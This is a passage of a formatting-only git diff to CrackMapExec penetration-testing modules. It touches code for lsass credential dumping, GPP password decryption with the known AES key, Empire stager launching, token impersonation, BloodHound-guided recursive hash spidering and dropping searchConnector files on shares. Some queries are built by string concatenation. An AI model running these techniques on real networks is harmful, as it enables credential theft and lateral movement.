scfile.write("{91475FE5-586B-4EBA-8D75-D17434B8CDF6}") scfile.write("") scfile.write("") scfile.write("{}".format(self.url)) @@ -72,37 +67,19 @@ class CMEModule: shares = connection.shares() for share in shares: context.log.debug(f"Share: {share}") - if "WRITE" in share["access"] and ( - share["name"] == self.sharename - if self.sharename != "" - else share["name"] not in ["C$", "ADMIN$"] - ): + if "WRITE" in share["access"] and (share["name"] == self.sharename if self.sharename != "" else share["name"] not in ["C$", "ADMIN$"]): context.log.success(f"Found writable share: {share['name']}") if not self.cleanup: with open(self.scfile_path, "rb") as scfile: try: - connection.conn.putFile( - share["name"], self.file_path, scfile.read - ) - context.log.success( - f"[OPSEC] Created {self.filename}.searchConnector-ms" - f" file on the {share['name']} share" - ) + connection.conn.putFile(share["name"], self.file_path, scfile.read) + context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms" f" file on the {share['name']} share") except Exception as e: context.log.exception(e) - context.log.fail( - f"Error writing {self.filename}.searchConnector-ms file" - f" on the {share['name']} share: {e}" - ) + context.log.fail(f"Error writing {self.filename}.searchConnector-ms file" f" on the {share['name']} share: {e}") else: try: connection.conn.deleteFile(share["name"], self.file_path) - context.log.success( - f"Deleted {self.filename}.searchConnector-ms file on the" - f" {share['name']} share" - ) + context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the" f" {share['name']} share") except Exception as e: - context.log.fail( - f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" - f" file on share {share['name']}: {e}" - ) + context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" f" file on share {share['name']}: {e}") diff --git a/cme/modules/empire_exec.py b/cme/modules/empire_exec.py index d1ad3557..f463867a 100644 --- a/cme/modules/empire_exec.py +++ b/cme/modules/empire_exec.py @@ -41,11 +41,7 @@ class CMEModule: obfuscate = True if "OBFUSCATE" in module_options else False # we can use commands instead of backslashes - this is because Linux and OSX treat them differently default_obfuscation = "Token,All,1" - obfuscate_cmd = ( - module_options["OBFUSCATE_CMD"] - if "OBFUSCATE_CMD" in module_options - else default_obfuscation - ) + obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}") # Pull the host and port from the config file @@ -111,9 +107,7 @@ class CMEModule: if "not found" in stager_response.json()["detail"]: context.log.fail(f"Listener {module_options['LISTENER']} not found") else: - context.log.fail( - f"Stager response received a non-200 when creating stager: {stager_response.status_code} {stager_response.text}" - ) + context.log.fail(f"Stager response received a non-200 when creating stager: {stager_response.status_code} {stager_response.text}") sys.exit(1) context.log.debug(f"Response Code: {stager_response.status_code}") @@ -134,13 +128,9 @@ class CMEModule: self.empire_launcher = download_response.text if download_response.status_code == 200: - context.log.success( - f"Successfully generated launcher for listener '{module_options['LISTENER']}'" - ) + context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'") else: - context.log.fail( - f"Something went wrong when retrieving stager Powershell command" - ) + context.log.fail(f"Something went wrong when retrieving stager Powershell command") def on_admin_login(self, context, connection): if self.empire_launcher: diff --git a/cme/modules/enum_av.py b/cme/modules/enum_av.py index a01c350c..94f861ac 100644 --- a/cme/modules/enum_av.py +++ b/cme/modules/enum_av.py @@ -33,16 +33,8 @@ class CMEModule: def on_login(self, context, connection): success = 0 results = {} - target = ( - connection.host - if not connection.kerberos - else connection.hostname + "." + connection.domain - ) - context.log.debug( - "Detecting installed services on {} using LsarLookupNames()...".format( - target - ) - ) + target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain + context.log.debug("Detecting installed services on {} using LsarLookupNames()...".format(target)) try: lsa = LsaLookupNames( @@ -62,9 +54,7 @@ class CMEModule: for service in product["services"]: try: lsa.LsarLookupNames(dce, policyHandle, service["name"]) - context.log.display( - f"Detected installed service on {connection.host}: {product['name']} {service['description']}" - ) + context.log.display(f"Detected installed service on {connection.host}: {product['name']} {service['description']}") if product["name"] not in results: results[product["name"]] = {"services": []} results[product["name"]]["services"].append(service) @@ -74,18 +64,14 @@ class CMEModule: except Exception as e: context.log.fail(str(e)) - context.log.display( - f"Detecting running processes on {connection.host} by enumerating pipes..." - ) + context.log.display(f"Detecting running processes on {connection.host} by enumerating pipes...") try: for f in connection.conn.listPath("IPC$", "\\*"): fl = f.get_longname() for i, product in enumerate(conf["products"]): for pipe in product["pipes"]: if pathlib.PurePath(fl).match(pipe["name"]): - context.log.debug( - f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})" - ) + context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})") if product["name"] not in results: results[product["name"]] = {} if "pipes" not in results[product["name"]]: @@ -168,9 +154,7 @@ class LsaLookupNames: # Authenticate if specified if self.authn and hasattr(rpc_transport, "set_credentials"): # This method exists only for selected protocol sequences. - rpc_transport.set_credentials( - self.username, self.password, self.domain, self.lmhash, self.nthash - ) + rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) if self.doKerberos: rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost) @@ -323,9 +307,7 @@ conf = { }, { "name": "Carbon Black App Control", - "services": [ - {"name": "Parity", "description": "Carbon Black App Control Agent"} - ], + "services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}], "pipes": [], }, { diff --git a/cme/modules/enum_dns.py b/cme/modules/enum_dns.py index 49c572d3..0e0c2ae0 100644 --- a/cme/modules/enum_dns.py +++ b/cme/modules/enum_dns.py @@ -33,9 +33,7 @@ class CMEModule: def on_admin_login(self, context, connection): if not self.domains: domains = [] - output = connection.wmi( - "Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns" - ) + output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns") if output: for result in output: @@ -72,8 +70,6 @@ class CMEModule: context.log.highlight("\t" + d) data += "\t" + d + "\n" - log_name = "DNS-Enum-{}-{}.log".format( - connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S") - ) + log_name = "DNS-Enum-{}-{}.log".format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(data, log_name) context.log.display(f"Saved raw output to {log_name}") diff --git a/cme/modules/example_module.py b/cme/modules/example_module.py index f8a84dfa..4cab21d3 100644 --- a/cme/modules/example_module.py +++ b/cme/modules/example_module.py @@ -12,9 +12,7 @@ class CMEModule: description = "I do something" supported_protocols = [] opsec_safe = True # Does the module touch disk? - multiple_hosts = ( - True # Does it make sense to run this module on multiple hosts at a time? - ) + multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? def __init__(self, context=None, module_options=None): self.context = context diff --git a/cme/modules/firefox.py b/cme/modules/firefox.py index c3fdee96..c58de4e1 100644 --- a/cme/modules/firefox.py +++ b/cme/modules/firefox.py @@ -14,9 +14,7 @@ class CMEModule: description = "Dump credentials from Firefox" supported_protocols = ["smb"] opsec_safe = True # Does the module touch disk? - multiple_hosts = ( - True # Does it make sense to run this module on multiple hosts at a time? - ) + multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? def options(self, context, module_options): """Dump credentials from Firefox""" diff --git a/cme/modules/get-desc-users.py b/cme/modules/get-desc-users.py index 91d340f2..1832b0bd 100644 --- a/cme/modules/get-desc-users.py +++ b/cme/modules/get-desc-users.py @@ -17,9 +17,7 @@ class CMEModule: description = "Get description of the users. May contained password" supported_protocols = ["ldap"] opsec_safe = True # Does the module touch disk? - multiple_hosts = ( - True # Does it make sense to run this module on multiple hosts at a time? - ) + multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? def options(self, context, module_options): """ @@ -36,11 +34,7 @@ class CMEModule: self.MINLENGTH = module_options["MINLENGTH"] if "PASSWORDPOLICY" in module_options: self.PASSWORDPOLICY = True - self.regex = re.compile( - "((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" - + self.MINLENGTH - + ",}" - ) # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following + self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following def on_login(self, context, connection): """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection""" @@ -56,9 +50,7 @@ class CMEModule: ) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: - context.log.debug( - "sizeLimitExceeded exception caught, giving up and processing the data received" - ) + context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() @@ -84,17 +76,13 @@ class CMEModule: answers.append([sAMAccountName, description]) except Exception as e: context.log.debug("Exception:", exc_info=True) - context.log.debug( - "Skipping item, cannot process due to error %s" % str(e) - ) + context.log.debug("Skipping item, cannot process due to error %s" % str(e)) pass answers = self.filter_answer(context, answers) if len(answers) > 0: context.log.success("Found following users: ") for answer in answers: - context.log.highlight( - "User: {} description: {}".format(answer[0], answer[1]) - ) + context.log.highlight("User: {} description: {}".format(answer[0], answer[1])) def filter_answer(self, context, answers): # No option to filter @@ -119,16 +107,9 @@ class CMEModule: if self.regex.search(description): conditionPasswordPolicy = True - if ( - self.FILTER - and conditionFilter - and self.PASSWORDPOLICY - and conditionPasswordPolicy - ): + if self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy: answersFiltered.append([answer[0], description]) - elif ( - not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy - ): + elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy: answersFiltered.append([answer[0], description]) elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter: answersFiltered.append([answer[0], description]) diff --git a/cme/modules/get_netconnections.py b/cme/modules/get_netconnections.py index 8ee9e1d5..df8c636e 100755 --- a/cme/modules/get_netconnections.py +++ b/cme/modules/get_netconnections.py @@ -27,19 +27,13 @@ class CMEModule: def on_admin_login(self, context, connection): data = [] - cards = connection.wmi( - f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration" - ) + cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration") for c in cards: if c["IPAddress"].get("value"): - context.log.success( - f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}" - ) + context.log.success(f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}") data.append(cards) - log_name = "network-connections-{}-{}.log".format( - connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S") - ) + log_name = "network-connections-{}-{}.log".format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) write_log(json.dumps(data), log_name) context.log.display("Saved raw output to {}".format(log_name)) diff --git a/cme/modules/gpp_password.py b/cme/modules/gpp_password.py index 251e6c89..136d0251 100644 --- a/cme/modules/gpp_password.py +++ b/cme/modules/gpp_password.py @@ -28,9 +28,7 @@ class CMEModule: for share in shares: if share["name"] == "SYSVOL" and "READ" in share["access"]: context.log.success("Found SYSVOL share") - context.log.display( - "Searching for potential XML files containing passwords" - ) + context.log.display("Searching for potential XML files containing passwords") paths = connection.spider( "SYSVOL", @@ -90,9 +88,7 @@ class CMEModule: password = self.decrypt_cpassword(props["cpassword"]) - context.log.success( - "Found credentials in {}".format(path) - ) + context.log.success("Found credentials in {}".format(path)) context.log.highlight("Password: {}".format(password)) for k, v in props.items(): if k != "cpassword": @@ -111,9 +107,7 @@ class CMEModule: # Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385 # From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2 - key = unhexlify( - "4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b" - ) + key = unhexlify("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b") cpassword += "=" * ((4 - len(cpassword) % 4) % 4) password = b64decode(cpassword) IV = "\x00" * 16 diff --git a/cme/modules/groupmembership.py b/cme/modules/groupmembership.py index 7d1bae9c..459d6032 100644 --- a/cme/modules/groupmembership.py +++ b/cme/modules/groupmembership.py @@ -32,9 +32,7 @@ class CMEModule: exit(1) self.user = module_options["USER"] else: - context.log.fail( - "Missing USER option, use --options to list available parameters" - ) + context.log.fail("Missing USER option, use --options to list available parameters") exit(1) def on_login(self, context, connection): @@ -51,9 +49,7 @@ class CMEModule: ) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find("sizeLimitExceeded") >= 0: - context.log.debug( - "sizeLimitExceeded exception caught, giving up and processing the data received" - ) + context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() @@ -85,14 +81,10 @@ class CMEModule: except Exception as e: context.log.debug("Exception:", exc_info=True) - context.log.debug( - "Skipping item, cannot process due to error %s" % str(e) - ) + context.log.debug("Skipping item, cannot process due to error %s" % str(e)) pass if len(memberOf) > 0: - context.log.success( - "User: {} is member of following groups: ".format(self.user) - ) + context.log.success("User: {} is member of following groups: ".format(self.user)) for group in memberOf: # Split the string on the "," character to get a list of the group name and parent group names group_parts = group.split(",") diff --git a/cme/modules/handlekatz.py b/cme/modules/handlekatz.py index 0b0fa945..336eaf08 100644 --- a/cme/modules/handlekatz.py +++ b/cme/modules/handlekatz.py @@ -56,17 +56,11 @@ class CMEModule: with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz: handlekatz.write(self.handlekatz_embeded) - context.log.display( - f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}" - ) + context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}") with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz: try: - connection.conn.putFile( - self.share, self.tmp_share + self.handlekatz, handlekatz.read - ) - context.log.success( - f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}" - ) + connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read) + context.log.success(f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}") except Exception as e: context.log.fail(f"Error writing file to share {self.share}: {e}") @@ -85,15 +79,7 @@ class CMEModule: pid = p.split(",")[1][1:-1] context.log.debug(f"pid: {pid}") - command = ( - self.tmp_dir - + self.handlekatz - + " --pid:" - + pid - + " --outfile:" - + self.tmp_dir - + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log" - ) + command = self.tmp_dir + self.handlekatz + " --pid:" + pid + " --outfile:" + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log" context.log.display(f"Executing command {command}") p = connection.execute(command, True) @@ -118,32 +104,22 @@ class CMEModule: with open(self.dir_result + machine_name, "wb+") as dump_file: try: - connection.conn.getFile( - self.share, self.tmp_share + machine_name, dump_file.write - ) - context.log.success( - f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}" - ) + connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write) + context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}") except Exception as e: context.log.fail(f"Error while get file: {e}") try: connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz) - context.log.success( - f"Deleted handlekatz file on the {self.share} share" - ) + context.log.success(f"Deleted handlekatz file on the {self.share} share") except Exception as e: - context.log.fail( - f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}" - ) + context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}") try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) context.log.success(f"Deleted lsass.dmp file on the {self.share} share") except Exception as e: - context.log.fail( - f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}" - ) + context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}") h_in = open(self.dir_result + machine_name, "rb") h_out = open(self.dir_result + machine_name + ".decode", "wb") @@ -151,13 +127,9 @@ class CMEModule: bytes_in = bytearray(h_in.read()) bytes_in_len = len(bytes_in) - context.log.display( - f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)" - ) + context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)") - chunks = [ - bytes_in[i : i + 1000000] for i in range(0, bytes_in_len, 1000000) - ] + chunks = [bytes_in[i : i + 1000000] for i in range(0, bytes_in_len, 1000000)] for chunk in chunks: for i in range(0, len(chunk)): chunk[i] ^= 0x41 @@ -184,28 +156,17 @@ class CMEModule: ] for luid in pypy_parse.logon_sessions: for ssp in ssps: - for cred in getattr( - pypy_parse.logon_sessions[luid], ssp, [] - ): + for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []): domain = getattr(cred, "domainname", None) username = getattr(cred, "username", None) password = getattr(cred, "password", None) NThash = getattr(cred, "NThash", None) if NThash is not None: NThash = NThash.hex() - if ( - username - and (password or NThash) - and "$" not in username - ): + if username and (password or NThash) and "$" not in username: print_pass = password if password else NThash - context.log.highlight( - domain + "\\" + username + ":" + print_pass - ) - if ( - "." not in domain - and domain.upper() in connection.domain.upper() - ): + context.log.highlight(domain + "\\" + username + ":" + print_pass) + if "." not in domain and domain.upper() in connection.domain.upper(): domain = connection.domain credz_bh.append( { diff --git a/cme/modules/hash_spider.py b/cme/modules/hash_spider.py index b1de8cff..1862adc1 100644 --- a/cme/modules/hash_spider.py +++ b/cme/modules/hash_spider.py @@ -40,9 +40,7 @@ def neo4j_local_admins(context, driver): global admin_results try: session = driver.session() - admins = session.run( - "MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC" - ) # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts + admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts context.log.success("Admins and PCs obtained.") except Exception: context.log.fail("Could not pull admins") @@ -51,9 +49,7 @@ def neo4j_local_admins(context, driver): def create_db(local_admins, dbconnection, cursor): - cursor.execute( - """CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)""" - ) + cursor.execute("""CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)""") for result in local_admins: cursor.execute( "INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?)", @@ -66,18 +62,14 @@ def create_db(local_admins, dbconnection, cursor): ), ) dbconnection.commit() - cursor.execute( - """CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)""" - ) + cursor.execute("""CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)""") admin_users = [] for result in local_admins: for user in result.get("USERS"): if user not in admin_users: admin_users.append(user) for user in admin_users: - cursor.execute( - """INSERT OR IGNORE INTO admin_users(username) VALUES(?)""", [user] - ) + cursor.execute("""INSERT OR IGNORE INTO admin_users(username) VALUES(?)""", [user]) dbconnection.commit() @@ -92,50 +84,29 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d nthash = result["nthash"] password = result["password"] if result["password"] is not None: - context.log.highlight( - f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH." - ) + context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.") cursor.execute( - "UPDATE admin_users SET password = ? WHERE username LIKE '" - + username - + "%'", + "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password], ) username = f"{username.upper()}@{context.log.extra['host'].upper()}" dbconnection.commit() session = driver.session() - session.run( - 'MATCH (u) WHERE (u.name = "' - + username - + '") SET u.owned=True RETURN u,u.name,u.owned' - ) - if ( - nthash == "aad3b435b51404eeaad3b435b51404ee" - or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0" - ): + session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') + if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0": context.log.fail(f"Hash for {username} is expired.") elif username not in found_users and nthash is not None: - context.log.highlight( - f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH." - ) + context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.") found_users.append(username) cursor.execute( - "UPDATE admin_users SET hash = ? WHERE username LIKE '" - + username - + "%'", + "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash], ) dbconnection.commit() username = f"{username.upper()}@{context.log.extra['host'].upper()}" session = driver.session() - session.run( - 'MATCH (u) WHERE (u.name = "' - + username - + '") SET u.owned=True RETURN u,u.name,u.owned' - ) - path_to_da = session.run( - "MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p" - ) + session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') + path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p") paths = [record for record in path_to_da.data()] for path in paths: @@ -144,9 +115,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d for item in value: if type(item) == dict: if {item["name"]} not in reported_da: - context.log.success( - f"You have a valid path to DA as {item['name']}." - ) + context.log.success(f"You have a valid path to DA as {item['name']}.") reported_da.append({item["name"]}) exit() @@ -167,9 +136,7 @@ def initial_run(connection, cursor): class CMEModule: name = "hash_spider" - description = ( - "Dump lsass recursively from a given hash using BH to find local admins" - ) + description = "Dump lsass recursively from a given hash using BH to find local admins" supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True @@ -193,9 +160,7 @@ class CMEModule: self.reset_dumped = module_options.get("RESET_DUMPED", False) self.reset = module_options.get("RESET", False) - def run_lsassy( - self, context, connection, cursor - ): # copied and pasted from lsassy_dumper & added cursor + def run_lsassy(self, context, connection, cursor): # copied and pasted from lsassy_dumper & added cursor # lsassy uses a custom "success" level, which requires initializing its logger or an error will be thrown # lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours) # so what we do is define "success" as a logging level, then do nothing with the output @@ -220,12 +185,8 @@ class CMEModule: domain=domain_name, ) if session.smb_session is None: - context.log.fail( - "Couldn't connect to remote host. Password likely expired/changed. Removing from DB." - ) - cursor.execute( - f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'" - ) + context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.") + cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'") return False dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method) if dumper is None: @@ -240,11 +201,7 @@ class CMEModule: ImpacketFile.delete(session, file.get_file_path()) if credentials is None: credentials = [] - credentials = [ - cred.get_object() - for cred in credentials - if not cred.get_username().endswith("$") - ] + credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")] credentials_unique = [] credentials_output = [] for cred in credentials: @@ -271,21 +228,15 @@ class CMEModule: def spider_pcs(self, context, connection, cursor, dbconnection, driver): cursor.execute("SELECT * from admin_users WHERE hash is not NULL") compromised_users = cursor.fetchall() - cursor.execute( - "SELECT pc_name,local_admins FROM pc_and_admins WHERE dumped LIKE 'FALSE'" - ) + cursor.execute("SELECT pc_name,local_admins FROM pc_and_admins WHERE dumped LIKE 'FALSE'") admin_access = cursor.fetchall() for user in compromised_users: for pc in admin_access: if user[0] in pc[1]: - cursor.execute( - f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'" - ) + cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'") more_to_dump = cursor.fetchall() if len(more_to_dump) > 0: - context.log.display( - f"User {user[0]} has more access to {pc[0]}. Attempting to dump." - ) + context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.") connection.domain = user[0].split("@")[1] setattr(connection, "host", pc[0].split(".")[0]) setattr(connection, "username", user[0].split("@")[0]) @@ -293,11 +244,7 @@ class CMEModule: setattr(connection, "nthash", user[1]) try: self.run_lsassy(context, connection, cursor) - cursor.execute( - "UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" - + pc[0] - + "%'" - ) + cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'") process_creds( context, @@ -307,15 +254,11 @@ class CMEModule: cursor, driver, ) - self.spider_pcs( - context, connection, cursor, dbconnection, driver - ) + self.spider_pcs(context, connection, cursor, dbconnection, driver) except Exception: context.log.fail(f"Failed to dump lsassy on {pc[0]}") if len(admin_access) > 0: - context.log.fail( - "No more local admin access known. Please try re-running Bloodhound with newly found accounts." - ) + context.log.fail("No more local admin access known. Please try re-running Bloodhound with newly found accounts.") exit() def on_admin_login(self, context, connection): @@ -348,17 +291,13 @@ class CMEModule: neo4j_uri = connection.config.get("BloodHound", "bh_uri") neo4j_port = connection.config.get("BloodHound", "bh_port") neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}" - driver = GraphDatabase.driver( - neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False - ) + driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False) neo4j_conn(context, connection, driver) neo4j_local_admins(context, driver) create_db(admin_results, dbconnection, cursor) initial_run(connection, cursor) context.log.display("Running lsassy") self.run_lsassy(context, connection, cursor) - process_creds( - context, connection, credentials_data, dbconnection, cursor, driver - ) + process_creds(context, connection, credentials_data, dbconnection, cursor, driver) context.log.display("🕷️ Starting to spider 🕷️") self.spider_pcs(context, connection, cursor, dbconnection, driver) diff --git a/cme/modules/impersonate.py b/cme/modules/impersonate.py index 0653ef21..38c4733b 100644 --- a/cme/modules/impersonate.py +++ b/cme/modules/impersonate.py @@ -10,9 +10,7 @@ from os import path class CMEModule: name = "impersonate" - description = ( - "List and impersonate tokens to run command as locally logged on users" - ) + description = "List and impersonate tokens to run command as locally logged on users" supported_protocols = ["smb"] opsec_safe = True # could be flagged multiple_hosts = True @@ -63,9 +61,7 @@ class CMEModule: context.log.display(f"Uploading {self.impersonate}") with open(file_to_upload, "rb") as impersonate: try: - connection.conn.putFile( - self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read - ) + connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read) context.log.success(f"Impersonate binary successfully uploaded") except Exception as e: context.log.fail(f"Error writing file to share {self.tmp_share}: {e}") @@ -89,12 +85,8 @@ class CMEModule: if impersonated_user: context.log.display(f"Executing {self.cmd} as {impersonated_user}") - command = ( - f'{self.tmp_dir}Impersonate.exe exec {self.token} "{self.cmd}"' - ) - for line in connection.execute( - command, True, methods=["smbexec"] - ).splitlines(): + command = f'{self.tmp_dir}Impersonate.exe exec {self.token} "{self.cmd}"' + for line in connection.execute(command, True, methods=["smbexec"]).splitlines(): context.log.highlight(line) else: context.log.fail(f"Invalid token ID submitted") @@ -103,9 +95,7 @@ class CMEModule: context.log.fail(f"Error running command: {e}") finally: try: - connection.conn.deleteFile( - self.share, f"{self.tmp_share}{self.impersonate}" - ) + connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}") context.log.success(f"Impersonate binary successfully deleted") except Exception as e: context.log.fail(f"Error deleting Impersonate.exe on {self.share}: {e}") diff --git a/cme/modules/install_elevated.py b/cme/modules/install_elevated.py index 0e3b3d0b..9d00d688 100644 --- a/cme/modules/install_elevated.py +++ b/cme/modules/install_elevated.py @@ -59,24 +59,16 @@ class CMEModule: ) rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) except rrp.DCERPCSessionError: - context.log.highlight( - "AlwaysInstallElevated Status: 1 (Enabled: 